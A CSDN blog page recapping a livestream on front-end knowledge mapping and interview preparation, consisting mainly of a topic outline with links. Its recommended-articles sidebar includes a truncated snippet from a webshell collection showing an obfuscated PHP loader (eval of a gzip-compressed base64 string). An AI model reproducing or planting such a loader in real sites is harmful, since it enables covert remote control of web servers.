前端Q知识体系梳理与面试准备直播回顾

最新推荐文章于 2024-04-23 11:12:03 发布
最新推荐文章于 2024-04-23 11:12:03 发布
阅读量1.2w 收藏 2
点赞数 1
文章标签： html css css3 proguard xhtml
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LuckyWinty/article/details/108091165
版权

PS：关注前端Q公众号，回复 直播 ，可获得直播所有资料及录播视频～

PS：体系图中对应的知识点可以直接链接过去的地址为：https://github.com/LuckyWinty/blog，点击阅读原文可打开～

PS：公众号里放大图会失真，这里不放了，想看的公众号获取资料看吧～

直播数据

嗯，谢谢大家支持，希望有下次，希望下次还有你～

直播内容

梳理知识体系工具

  • Xmind

  • Lighten

  • Gitbook

  • markdown

梳理方法

  • 由大到小， 列出自己认为前端包含的大方向的内容

  • 凭空想象，在自己的认知范围下拓展知识点

  • 参考他人，搜别人的总结

  • 书籍/课程，留意书籍/课程大纲

我的知识体系梳理

js

基础

  • 数据类型

    • https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Data_structures

  • es6

    • https://es6.ruanyifeng.com/

    • https://www.runoob.com/wp-content/uploads/2018/12/es6-tutorial.jpg

  • 原型/继承

    • https://mp.weixin.qq.com/s/St78Y38j3XI2_Zv57bNZ0Q

    • https://github.com/LuckyWinty/blog/blob/master/markdown/JavaScript/%E4%B8%80%E6%96%87%E5%AE%8C%E5%85%A8%E5%90%83%E9%80%8F%20JavaScript%20%E7%BB%A7%E6%89%BF.md

  • 事件流/事件委托

    • https://zhuanlan.zhihu.com/p/53592256

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/72

  • 变量/作用域/闭包/this/上下文

    • http://www.alloyteam.com/2019/07/closure/

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/71

  • 事件循环

    • https://mp.weixin.qq.com/s/G2L_9kj8ST0_HPG7yxd2lw

  • 前端缓存

    • https://mp.weixin.qq.com/s/5EXT03KeOBtlZtKhlV7pjg

  • 正则

    • https://github.com/LuckyWinty/blog/blob/master/markdown/RegExp/%E6%AD%A3%E5%88%99%E5%85%A5%E9%97%A8%E6%89%8B%E5%86%8C.md

  • 跨域

    • https://mp.weixin.qq.com/s/Nk8YPYQDUJOKgQ9Qa7byag

  • setTimeout/setInterval/RequestAnimationFrame

    • https://mp.weixin.qq.com/s/7qTRSMqaqG8XZ9rpEBhYNQ

工程化

  • 模块化

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/19

  • 构建工具

    • 基本使用

    • babel

    • rollup/gulp/snowpack/...

    • https://github.com/LuckyWinty/blog/blob/master/markdown/webpack/Webpack%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96.md

    • https://github.com/LuckyWinty/blog/blob/master/markdown/webpack/Webpack%20%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA%E4%B9%8B%E5%85%AC%E5%8F%B8%E7%BA%A7%E5%88%86%E4%BA%AB%E6%80%BB%E7%BB%93(%E5%86%85%E9%99%84%E5%AE%8C%E6%95%B4ppt).md

    • 打包机制

    • 插件机制

    • HMR原理

    • tree-shaking

    • https://github.com/LuckyWinty/blog/blob/master/markdown/webpack/Webpack4%E6%89%93%E5%8C%85%E6%9C%BA%E5%88%B6%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.md

    • https://github.com/LuckyWinty/blog/blob/master/markdown/webpack%E6%8F%92%E4%BB%B6%E6%9C%BA%E5%88%B6.md

    • https://github.com/LuckyWinty/blog/blob/master/markdown/webpack/HMR%E5%8E%9F%E7%90%86.md

    • https://github.com/LuckyWinty/blog/issues/1

    • https://github.com/LuckyWinty/blog/blob/master/markdown/%E9%A1%B9%E7%9B%AE%E5%B8%B8%E7%94%A8%E9%85%8D%E7%BD%AE.md

    • 原理

    • 深入浅出分享

    • 性能优化

    • https://mp.weixin.qq.com/s/jZ7vgEMIGjB8f8u1SuFoOA

    • https://mp.weixin.qq.com/s/PVy-zJLhsZw4rd-uDLftyw

    • https://mp.weixin.qq.com/s/VfLeXHNxwsOodrywVkXfkg

    • webpack

  • 部署

    • https://mp.weixin.qq.com/s/Cm5IOJ0v704Hs37vTS7Aow

    • https://mp.weixin.qq.com/s/z5w-H9vOQ7ouuDa_VmtuQA

  • 持续集成

    • https://mp.weixin.qq.com/s/EowqAuFQ9-0xOQIxqMvrog

    • https://mp.weixin.qq.com/s/MbeW8UNZ1fPekWcaNqmsCQ

  • 辅助

    • ts/tslint/eslint

    • prettier

    • changelog

    • jsdoc

    • husky

设计模式

  • 建议看下 js 设计模式这本书

推荐书籍

  • JavaScript 高级程序设计

  • 重学前端

node

npm

  • https://mp.weixin.qq.com/s/NO815A1UpWrIvIDt22xy3A

  • https://mp.weixin.qq.com/s/lnvFJkp1_ZFgYk1R9zVChg

cluster

  • https://mp.weixin.qq.com/s/3YFZJpNkTqulyL5PJXkpmg

pm2

  • https://mp.weixin.qq.com/s/LdLYb61MY585ZevQSF7Dpw

消息队列

  • https://mp.weixin.qq.com/s/BYakyELOrtxFNlh5G91TtQ

rpc

  • https://mp.weixin.qq.com/s/oPSb6z_aiQ0lKbiMChDa1A

ssr

  • https://mp.weixin.qq.com/s/phZ8jFVrAwcCfuNlZDFG1w

cpu

  • https://mp.weixin.qq.com/s/kfcwaKRwP3SY2wa3bWA_mw

实践

  • https://mp.weixin.qq.com/s/agCyEHf4m2uah0nQnMbdpQ

  • https://mp.weixin.qq.com/s/yE4patSpBA6PpKpc8B8hEQ

推荐书籍

  • 深入浅出 nodejs

  • 来一打 C++扩展

框架

vue

  • 响应式

    • https://mp.weixin.qq.com/s/zDv_IQ36o_rRD25xN9uyuw

    • https://mp.weixin.qq.com/s/VyH7wnKxxgmZRKKxHTNBhA

  • watch

    • https://mp.weixin.qq.com/s/hTygoAan4yH3V4XV9iE1Pw

  • router

    • https://mp.weixin.qq.com/s/dPaNbBLXd2ZMCIri1ubyUQ

  • nextTick

    • https://mp.weixin.qq.com/s/HzttRWoAWeaA4wfwnvPR4w

  • composition

    • https://mp.weixin.qq.com/s/jQ6k2LCTcnaBzWLz8LFGkQ

  • diff 算法

  • keep-alive

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/33

react

  • hooks

    • https://mp.weixin.qq.com/s/UoHiN_dFpduJjh0E5kcy5w

  • Redux/react-redux/redux 实现原理

    • https://mp.weixin.qq.com/s/-gox1xwjjpn3ADfVWUxJDA

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/58

  • setState

    • https://mp.weixin.qq.com/s/8aidhuwOGyLJV2zz0sjh2A

  • diff 算法

angular

  • 自行总结

其他

  • https://mp.weixin.qq.com/s/GBL0WiWey5hQwQTmEY2kww

算法

见另一个脑图

性能优化

分析

  • https://mp.weixin.qq.com/s/azeUIx0EA86EFQrtIRUKwQ

指标/监控

  • https://mp.weixin.qq.com/s/DJ8Fdq1_cIoW0_NYekZwFw

  • https://github.com/LuckyWinty/blog/blob/master/markdown/perf/%E5%89%8D%E7%AB%AF%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96%E4%B9%8B%E9%80%9A%E7%94%A8%E6%80%A7%E8%83%BD%E6%8C%87%E6%A0%87%E5%AE%9A%E4%B9%89%E5%8F%8A%E4%B8%8A%E6%8A%A5%E7%AD%96%E7%95%A5%E8%AF%A6%E8%A7%A3.md

  • https://mp.weixin.qq.com/s/bFNlxTHV9b-3ULARjHT7dg

  • https://mp.weixin.qq.com/s/FckgB34YPMDNxyLJLELW7A

实践

  • https://mp.weixin.qq.com/s/QMn651mxQAKbIZVOPF5jlA

  • https://mp.weixin.qq.com/s/CFY6kh0dxijKTKIjmBa0Qw

  • https://mp.weixin.qq.com/s/eTBNiZsh0R_2OG2gIIpUQQ

  • https://mp.weixin.qq.com/s/miLq_Q8YJWb-WzINo9t0Vw

效率工具

chrome 插件

  • https://mp.weixin.qq.com/s/1_YjTCXAGTRSdvmDi46Nxw

vscode 插件

  • https://mp.weixin.qq.com/s/eHjh4WKyo4g009VVpenzyQ

前端工具

  • https://mp.weixin.qq.com/s/y1yoMpbdgK024-tQnkP3TQ

玩转 github

  • https://mp.weixin.qq.com/s/q-XGx7zV--STGpm1ikoI6A

react 开发提效

  • https://mp.weixin.qq.com/s/0-HlaOQm6iB_MXWtcyQezA

webpack 插件

  • https://mp.weixin.qq.com/s/FPENfKo7mObEYcVP0wofRA

项目

代码片段

  • https://mp.weixin.qq.com/s/YA0327_rTE8tyZjlXUknjg

容错/容灾

  • https://mp.weixin.qq.com/s/prf-mXexBh1Ie-ctq9FnzA

  • https://mp.weixin.qq.com/s/A4Q14uXr2f2vifbULpZu1Q

开发技巧

  • https://mp.weixin.qq.com/s/m-5D2261jTQ_TJccvObxSQ

单元测试/自动化测试

  • https://mp.weixin.qq.com/s/FpuN008a24D1yS33QVbscA

  • https://mp.weixin.qq.com/s/GfI5C-YkKjoQm5PNbDFlDw

计算机网络/安全

http/https

  • https://mp.weixin.qq.com/s/OitrWEosrpuXh19o_TDasg

  • https://mp.weixin.qq.com/s/sHtZhRTNOihmxap5sDD6xQ

http 缓存

  • https://mp.weixin.qq.com/s/G5FIrWOtsNROHgEKesJcdg

  • https://mp.weixin.qq.com/s/aMYp6Y5n26r9vdQIom4g0w

安全

  • https://mp.weixin.qq.com/s/rU32rVM6Q-ele01ZB3RFzg

输入到渲染过程

  • https://mp.weixin.qq.com/s/DLq_GIkdnuOayThfi3jI0A

http1/2/3

  • https://mp.weixin.qq.com/s/wrOXO5MH4wtbuvrCPCQNQA

手写系列

Promise

  • https://github.com/LuckyWinty/blog/issues/3

  • https://mp.weixin.qq.com/s/phML-prTBnNqck20PJjufw

其他

  • https://juejin.im/post/6844903911686406158

  • https://mp.weixin.qq.com/s/abbjBhMqEupU1AVHiR-qHw

其他能力

脚手架制作

  • https://mp.weixin.qq.com/s/6ZCvAj1fMbbtDp6gWXp6JQ

代理工具

  • https://mp.weixin.qq.com/s/ABjf8hJ8OYZy0LZL99E45Q

聚合&npm 发布

  • https://mp.weixin.qq.com/s/qXFd3f7CkEzz4u_1zl-TSw

serverless

  • https://mp.weixin.qq.com/s/itUDdPvA_Sy-usvyvaa2lQ

微前端

  • https://mp.weixin.qq.com/s/zw6sNtNEvqnnGgRsPJsW4w

  • https://mp.weixin.qq.com/s/O5NcRVsgNS0foaJUETZg4g

  • https://mp.weixin.qq.com/s/NdAzMnl7N-ZlaZSiGbLZDA

nginx

  • https://mp.weixin.qq.com/s/9MED07NUUkJPH5GVlpmOUA

  • https://mp.weixin.qq.com/s/o2Us4Zj6DO2NHGQVaHIa1A

  • https://mp.weixin.qq.com/s/HWA9b3Mg6ShVaYCuNIsWAA

chrome 插件开发

  • https://mp.weixin.qq.com/s/1YsRk3lIBA-KObAIJXYrjw

面经收集

BAT

  • https://mp.weixin.qq.com/s/7NjxEAo7nPNsBCV7UwTz1A

https://mp.weixin.qq.com/s/pP-qvi6XK14zoGxtc2dqfA

https://mp.weixin.qq.com/s/bTewcTE3yCN6FGRn9MzHAw

https://mp.weixin.qq.com/s/-YE6HrNx_QLU-lnrDzVK6g

https://mp.weixin.qq.com/s/N77kis0fF-C-NsZldr-vAg

https://mp.weixin.qq.com/s/_qI0R15lrMwKildQ-6vY1w

https://mp.weixin.qq.com/s/o5M4imVQxgRefzijS6qk9w

https://mp.weixin.qq.com/s/0NzfGDvJMAlE2zpT-KSkzA

https://mp.weixin.qq.com/s/UXRMy3VhT8SVkjkDtaoTrg

https://mp.weixin.qq.com/s/Zb2WzRLXhHTB2A_5oH4QUg

https://mp.weixin.qq.com/s/3R8BxWk6JjUxF4OIdWBc_g

https://mp.weixin.qq.com/s/zA0nk_z_CM2Y0ftCTSQdtA

https://mp.weixin.qq.com/s/YrKGMORhB_POmfWZVWRkHg

https://mp.weixin.qq.com/s/_P0-uCz11hvFIwdLQ1mL-Q

https://mp.weixin.qq.com/s/-4oLchD8FztnxhpbYs2p-g

https://mp.weixin.qq.com/s/Y9N8exEqs0Gz-Qvbg-0RgQ

css

高频考题

  • BFC

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/36

  • 布局

    • 浮动

    • 水平垂直居中

    • 绝对/相对定位

    • flex

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/31

    • https://juejin.im/post/6854573220306255880

    • Grid

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/52

  • 盒模型

    • IE 盒模型

    • W3C 标准盒模型

    • https://juejin.im/post/6844903505983963143

  • 动画

    • transition

    • Keyframes animation

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/60

  • css3

    • https://juejin.im/post/6844903829679390728

  • 预处理器

    • sass/less/postcss...

基础

  • 选择器

    • https://juejin.im/post/6844904115147898894

  • position

    • https://www.ruanyifeng.com/blog/2019/11/css-position.html

  • 文字溢出处理

    • https://juejin.im/post/6844903988081475591

其他题目

  • 2D 3D 转换

  • margin:auto 为什么可以实现垂直居中

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/25

  • 说说 visibility=hidden, opacity=0，display:none 的区别

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/64

  • 用 css 画一个扇形？

    • https://github.com/LuckyWinty/fe-weekly-questions/issues/30

  • cacl 使用

    • https://mp.weixin.qq.com/s/1sn_uvBNjg9Zm3SQ9Yi-iQ

书籍推荐

  • CSS+DIV 从入门到精通

  • CSS 权威指南

  • 精通 CSS 高级 web 标准解决方案

最后

  • 欢迎加我微信(winty230)，拉你进技术群，长期交流学习...

  • 欢迎关注「前端Q」,认真学前端，做个专业的技术人...

原创不易，点个在看支持我吧

winty~~
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
第二届数据安全大赛暨首届“数信杯”数据安全大赛数据安全积分争夺赛-东区预赛wp
toto的博客
04-14 2976
附件下载地址：链接：https://pan.baidu.com/s/1tClZrup28n4fUe5Kpa7mgQ?pwd=kbd6。
azchn.com+app.html,Analysis.ipynb
weixin_34518190的博客
07-02 41万+
{"cells": [{"cell_type": "code","execution_count": 1,"metadata": {},"outputs": [],"source": ["import torch\n","import matplotlib.pyplot as plt\n","import cv2\n","import pandas as pd"]},{"cell_type": "...
Jquery
Leprehuan的博客
04-23 1838
正课: 1. 什么是jQuery 2. 如何使用jQuery 3. jQuery原理: 4. jQuery API 三大特点: 5. 查找元素 6. 修改元素 7. 按节点间关系查找 一. 什么是jQuery 1. 什么是: (1). 第三方开发的: 必须下载才能用 (2). 执行DOM操作的: jQuery还是执行DOM的增删改查+事件绑定操作。学习jQuery只是学习DOM的延续而已。 (3). 极简化的: jQuery对DOM操作的每一步都进行了简化。 (...
python创意编程作品集,python创意小作品代码
nannannanmu的博客
03-16 5907
这篇文章主要介绍了python创意小作品100行代码左右，具有一定借鉴价值，需要的朋友可以参考下。希望大家阅读完这篇文章后大有收获，下面让小编带着大家一起了解一下。🥬🥬🥬1 炫酷彩虹2 温柔的狮子3 旋转无尽的真心4 520+爱心5 鲜艳的玫瑰6 一颗小爱心7 一个呆萌的皮卡丘8 小猪佩奇9 放烟花10 小呆呆小黄人11 十里桃花飘落12 炸死小坏蛋13 哆啦A梦14 一个微信表情包15 秀死他。
hxyx4xyzindex php vo,webshell/php/oi.php.txt at da33d92ba83c1f8d44e15957022ed4a03423a699 · tennc/web...
weixin_31163455的博客
03-26 27万+
eval("?>".gzuncompress(base64_decode("eJzsvXtbG0eyOPz/eZ7zHZqJYkuxEALbuYAhwYBjToxhAa83P+BVRpqRNEHSKDMjLsn6u79V1feeHkmQZE/2POvd2Jq+VFdXd1dXV1dVv/p2Opz+9399ttwfLMjif7DDyU0YJVHKNtrtb1jpDxaM4n4yietP82H...
前端面试知识梳理（高级前端开发工程师）
01-08
【前端面试知识梳理（高级前端开发工程师）】 在前端开发领域，面试中常常涉及到CSS相关的知识点，特别是盒子模型，这是理解网页布局的基础。盒子模型主要包括四个部分：Content（内容）、Padding（内边距）、...
前端面试知识点梳理
03-03
19年准备跳槽的小伙伴， 本资源是现代前端知识点梳理ppt, 大家加油
前端各大厂面试各类问题汇总和前端知识结构梳理
08-04
本资源"前端各大厂面试各类问题汇总和前端知识结构梳理"旨在为中高级前端开发者提供一份详实的面试准备指南，涵盖CSS、JavaScript及各类厂的面试问题。 首先，让我们来看看CSS部分（Css.docx）。CSS是构建网页样式...
前端知识体系梳理，学习不迷茫
04-23
前端知识体系梳理，学习不迷茫
大前端知识体系与面试宝典，从前端到后端，全栈工程师，六边形战士
11-21
"大前端知识体系与面试宝典"旨在帮助开发者构建完整的技能树，成为全能的全栈工程师，如同六边形战士一样，具备全方位的技术能力。这个资源集合包含了JavaScript的一切，对于求职面试和技能提升尤其有价值。 首先，...
前端完整知识体系图谱xmind
02-23
前端知识体系列(图谱+大纲) 涵盖当前前端技术体系以及管理体系知识 帮助前端从业者们更全面了解行业现状
前端面试宝典（前端知识）
12-23
【前端面试宝典】是为准备前端面试的开发者量身打造的一份综合指南，涵盖了前端领域的核心知识。本文将深入探讨其中的一些关键知识点。 1. **HTML** - **HTML5特性**：包括离线存储（AppCache）、拖放功能、媒体...
现代前端技术解析 (前端知识体系与架构思维解析)
05-10
《现代前端技术解析》在前端知识体系上做了很好的总结和梳理，涵盖了现代前端技术绝大部分的知识内容，起到一个启蒙作用，能帮助读者快速把握前端技术的整个脉络，培养更完善的体系化思维，掌握更多灵活的前端代码...
前端面试八股文-超详细的前端基础知识的应用与技巧
04-30
内容概要：本资源提供了一系列精心挑选的前端面试题，旨在帮助广大前端开发者系统复习和巩固基础知识，深入理解前端技术栈，以及提升解决实际问题的能力。题目涵盖了HTML、CSS、JavaScript的基础与进阶知识，同时也...
前端基础知识总结面试题
最新发布
07-24
前端面试题，前端基础知识，适用小微企业问答考试，应聘小微企业的面试者。 以vue为主。
图书馆管理系统 2.后台系统管理模块编写
m0_63040701的博客
03-20 1288
这里采用的是mysql5.7，编码为utf-8mb4。
逆向系列之获取任意微信小程序code
Packager
12-30 1万+
逆向系列之获取任意微信小程序code 如有疑问> 点击这里与我交流 < 微信请扫描下方二维码 代码仅供学习交流，请勿用于非法用途 整个流程封装的api接口，以下为接口地址列表 1、创建微信实例接口 请求方法：POST 请求地址：/xy/api/WXCreate 请求参数： { "Terminal": 2, "WxData": "", "Brand": "", "Name": "", "Imei": "", "Mac": "" } 响应： { "flag": 1
nextcloud私有云一键搭建脚本
热门推荐
迷逝
08-16 81万+
nextcloud私有云 官方提供的一键搭建脚本 下载地址：点击下载 <?php /** * Nextcloud setup wizard * * @author Frank Karlitschek * @copyright 2012 Frank Karlitschek frank@owncloud.org * @author Lukas Reschke * @copyright 2013-2015 Lukas Reschke lukas@owncloud.com * @copyrigh
微信小程序swiper 视频中间大，两边小，轮播滑到中间视频自动播放组件教程
Qensq的博客
02-19 1565
微信小程序swiper 视频中间大，两边小，轮播滑到中间视频自动播放组件教程
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值